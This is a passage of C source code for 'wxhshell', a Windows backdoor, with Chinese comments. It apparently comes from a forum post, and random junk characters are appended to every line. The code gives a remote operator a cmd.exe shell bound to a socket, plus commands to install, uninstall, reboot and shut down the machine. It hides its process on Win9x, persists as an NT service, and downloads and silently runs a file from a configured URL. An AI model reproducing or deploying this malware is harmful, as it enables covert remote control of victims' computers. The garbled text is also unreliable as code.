      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iRo.RU8>  
    break; ;h=*!7:  
  } k*rZ*sSp  
  // 安装 Cs3^9m6;d  
  case 'i': { y;cUl, :v  
    if(Install()) zdl%iop3e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7R.Q Ql  
    else EI~"L$?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .jw}JJ  
    break; O)|P,?  
    } _9H*agRe  
  // 卸载 3chPY4~A  
  case 'r': { (:V>Hjt  
    if(Uninstall()) POI.]1i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :,12")N  
    else ] Wy)   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Psura$:  
    break; [&[^G25  
    } hY5WJ;  
  // 显示 wxhshell 所在路径 BaF!O5M  
  case 'p': { 620%Z*   
    char svExeFile[MAX_PATH]; IzOYduJ.  
    strcpy(svExeFile,"\n\r"); &GTI  
      strcat(svExeFile,ExeFile); 3f Xv4R;!:  
        send(wsh,svExeFile,strlen(svExeFile),0); \`V$ 'B{.  
    break; '7Nr8D4L  
    } Y/<lWbj*A  
  // 重启 '+>fFM,*B  
  case 'b': { F7L&=K$2y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d6{Gt"  
    if(Boot(REBOOT)) gbeghLP[?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /I5X"x  
    else { :AdDLpk3j  
    closesocket(wsh); -~[9U,  
    ExitThread(0); V"o7jsFH6n  
    } Jf)bHjC_V  
    break; JCcZuwu[  
    } \6?A!w~6  
  // 关机 #o/ H~Iv  
  case 'd': { `O?TUQGR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /M~!sPW&?  
    if(Boot(SHUTDOWN)) cq&*.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,21 np  
    else { <:/&&@2  
    closesocket(wsh); XIo55*  
    ExitThread(0); enNiI$H]`_  
    } `(+o=HsD  
    break; iB0WEj[?  
    }  XY.5Rno4  
  // 获取shell @RFs/'  
  case 's': { \I-#1M  
    CmdShell(wsh); v[@c*wo  
    closesocket(wsh); 02`$OTKz  
    ExitThread(0); .#u_#=g?  
    break; )Au6Nf  
  } M2x["  
  // 退出 #*$P'r  
  case 'x': { (iJ1 ;x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <e]Oa$  
    CloseIt(wsh); Tu{&v'!j6  
    break; H.<a`m m8  
    } JjpRHw8\  
  // 离开 n%R;-?*v  
  case 'q': { FlfI9mm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zl-2$}<a  
    closesocket(wsh); V@7KsB  
    WSACleanup(); K3uG2g(>2  
    exit(1); oRKEJ Nps  
    break; KIA 2"KbjG  
        } jV#ahNq;  
  } n?\ nn3  
  } `nKH"TaX  
&R|/t :DN  
  // 提示信息 fP tm0.r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (>6*#9#p  
} IKMeJ(:S  
  } #j#_cImE  
|py6pek|  
  return; uPYmHA} _/  
} ANIz, LS  
+_v$!@L8  
// shell模块句柄 ; Sd\VR  
int CmdShell(SOCKET sock) lZ8CY  
{ #po5_dE\*  
STARTUPINFO si; 6C>_a*w  
ZeroMemory(&si,sizeof(si)); }pk#!N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yc2/~a_ Gx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RsU3Gi_Zdz  
PROCESS_INFORMATION ProcessInfo; <PPNhf8  
char cmdline[]="cmd"; I/VxZ8T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D'Z|}(d&  
  return 0; P o jmC  
} E^GHVt/.  
6{[pou&  
// 自身启动模式 a$"ib  
int StartFromService(void) 87 }&`  
{ I -Xlx<  
typedef struct 6:U$w7P0 e  
{ =ji1S}e~p  
  DWORD ExitStatus; AC O)Dt(Y  
  DWORD PebBaseAddress; GV)<Q^9  
  DWORD AffinityMask; A^ _a3$,0  
  DWORD BasePriority; KbL V' %D  
  ULONG UniqueProcessId; jENr>$$  
  ULONG InheritedFromUniqueProcessId; O8|5KpXd@  
}   PROCESS_BASIC_INFORMATION; M3p   
hS[ yNwD  
PROCNTQSIP NtQueryInformationProcess; t1VH doNN  
2^t#6XBk/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2<&Bw2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -p-B2?)A  
`X,yM-(  
  HANDLE             hProcess; rC:?l(8ng3  
  PROCESS_BASIC_INFORMATION pbi; #`GY}-hL!  
S$f6a'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <<D$+@wxm  
  if(NULL == hInst ) return 0; h/x0]@M&  
$^&ig  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [Q\GxX.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?u4INZ0W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < Dx]b*H  
^:9$@ +a  
  if (!NtQueryInformationProcess) return 0; 0Io'bF  
.nYUL>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #jAqra._b  
  if(!hProcess) return 0; Xh J,"=E+  
5TBp'7 /s~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K"<PGOF  
tb :L\A^:  
  CloseHandle(hProcess); %Pksv}  
}M1sksk5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZEYgK)^  
if(hProcess==NULL) return 0; |F.)zC5{  
7?B.0>$3>V  
HMODULE hMod; ,!V]jP)  
char procName[255]; @&D?e:|!U  
unsigned long cbNeeded; ;> m"x  
X1 ZgSs+i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vP7K9K x  
GDYFU* 0  
  CloseHandle(hProcess); 9%* wb`&  
jBaB@LO9G  
if(strstr(procName,"services")) return 1; // 以服务启动 :'aAZegQY  
3E f1bhi  
  return 0; // 注册表启动 0y&I/2  
} 8/z3=O&  
`mye}L2I  
// 主模块 CG'.:` t  
int StartWxhshell(LPSTR lpCmdLine) lpH=2l$>?  
{ T#pk]c6Q  
  SOCKET wsl; `%3 /   
BOOL val=TRUE; DK0.R]&4(  
  int port=0; 7bxA]s{m  
  struct sockaddr_in door; E;21?`x5  
#,{+3Y&5-+  
  if(wscfg.ws_autoins) Install(); \5Vde%!$Z  
Hi_ G  
port=atoi(lpCmdLine); bCZ g cN  
$A3<G-4O  
if(port<=0) port=wscfg.ws_port; zqDR7+]  
do uc('@  
  WSADATA data; XC7%vDIt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B2Xn?i3 l  
*m%]zj0bo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $+}+zZX5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  FgL,k  
  door.sin_family = AF_INET; +n}$pM|NKU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nW "q  
  door.sin_port = htons(port); y*{Zbz#{  
Rl|4S[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [i0Hm)Bd3  
closesocket(wsl); s4_/&h  
return 1; ?PTk1sB  
} 3]-_q"Co4f  
vzF5xp.  
  if(listen(wsl,2) == INVALID_SOCKET) { rbT)=-(  
closesocket(wsl); p;?*}xa  
return 1; d--y  
} x.1-)\  
  Wxhshell(wsl); !ZDzEP*  
  WSACleanup(); bqanFQj  
O4<g%.HC6  
return 0; Ev!{n  
50dGBF  
} P;PQeXKw  
iR$<$P5  
// 以NT服务方式启动 K^r)CCO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7u\*_mrv  
{ x\2?ym@  
DWORD   status = 0; $8l({:*q0  
  DWORD   specificError = 0xfffffff; bVmA tm[  
~.%K/=wK@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `V[!@b:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _= #zc4U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;Ut+yuy  
  serviceStatus.dwWin32ExitCode     = 0; $3D'4\X~?  
  serviceStatus.dwServiceSpecificExitCode = 0; qH"Gm  
  serviceStatus.dwCheckPoint       = 0; o;b0m;~   
  serviceStatus.dwWaitHint       = 0; Lp5U"6y  
PX|=(:(k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XW JwJ  
  if (hServiceStatusHandle==0) return; }FF W|f  
H"2uxhdLK3  
status = GetLastError(); F_xbwa*=  
  if (status!=NO_ERROR) ?=GXqbS"  
{ 8+m H:O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yGg,$WM  
    serviceStatus.dwCheckPoint       = 0; E&yD8=vw  
    serviceStatus.dwWaitHint       = 0; crO@?m1  
    serviceStatus.dwWin32ExitCode     = status; CukC6u b  
    serviceStatus.dwServiceSpecificExitCode = specificError; sBv>E}*R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Khh0*S8.K  
    return; m~Ld~I"  
  } vi@Lz3}::  
)m3q2W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &;LqF#ZL  
  serviceStatus.dwCheckPoint       = 0; OdMO=Hy6d  
  serviceStatus.dwWaitHint       = 0; ?Z\Yu'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (><zsLs&  
} PiFD^w  
UR(-q  
// 处理NT服务事件,比如:启动、停止 W~_t~Vg5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }0,>2TTDN  
{ R];Ox e  
switch(fdwControl) elG;jB  
{ FZB~|3eq{  
case SERVICE_CONTROL_STOP: $ _8g8r}  
  serviceStatus.dwWin32ExitCode = 0; <"o"z2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :hGPTf  
  serviceStatus.dwCheckPoint   = 0; _wb0'xoK"  
  serviceStatus.dwWaitHint     = 0; 93[DAs  
  { RkF D*E$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k\Q ,h75  
  } d@mo!zu  
  return;  2A4FaBq"  
case SERVICE_CONTROL_PAUSE: 8\<jyJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p}Fs'l?7Rq  
  break; wix5B@  
case SERVICE_CONTROL_CONTINUE: VC5_v62&.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %tA57Pn>  
  break; F>]#}_  
case SERVICE_CONTROL_INTERROGATE: eUS   
  break; TG n-7 88  
}; VcK}2<8:+~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ 4%Zvl  
} NGYyn`Lx  
EoX_KG{  
// 标准应用程序主函数 IB.yU,v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S\y%4}j  
{ Z,N$A7SBE  
7iu Q9q^&  
// 获取操作系统版本 - ~O'vLG  
OsIsNt=GetOsVer(); Q5S,{ ZeT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &PcyKpyd  
ryO$6L  
  // 从命令行安装 S)He$B$pp  
  if(strpbrk(lpCmdLine,"iI")) Install(); n$m"]inX  
Oc9#e+_&  
  // 下载执行文件 Ct$82J  
if(wscfg.ws_downexe) { -6Tk<W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @|bP+8oU  
  WinExec(wscfg.ws_filenam,SW_HIDE); {>0V[c[~  
} "Clz'J]{  
8 l/[(] &  
if(!OsIsNt) { e2CV6F@a  
// 如果时win9x,隐藏进程并且设置为注册表启动 %u?HF4S'  
HideProc();  Gt9wR  
StartWxhshell(lpCmdLine); ^SEdA=!  
} SEKN|YQV/t  
else g. %  
  if(StartFromService()) hwnx<f '  
  // 以服务方式启动 ;??ohA"{5  
  StartServiceCtrlDispatcher(DispatchTable); NGjdG=,  
else E_ $z`or  
  // 普通方式启动 lfk9+)  
  StartWxhshell(lpCmdLine); n)8Yj/5  
D-9\~gvh  
return 0; G,&%VQ3P>  
}
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只看该作者 1 发表于: 2006-10-10
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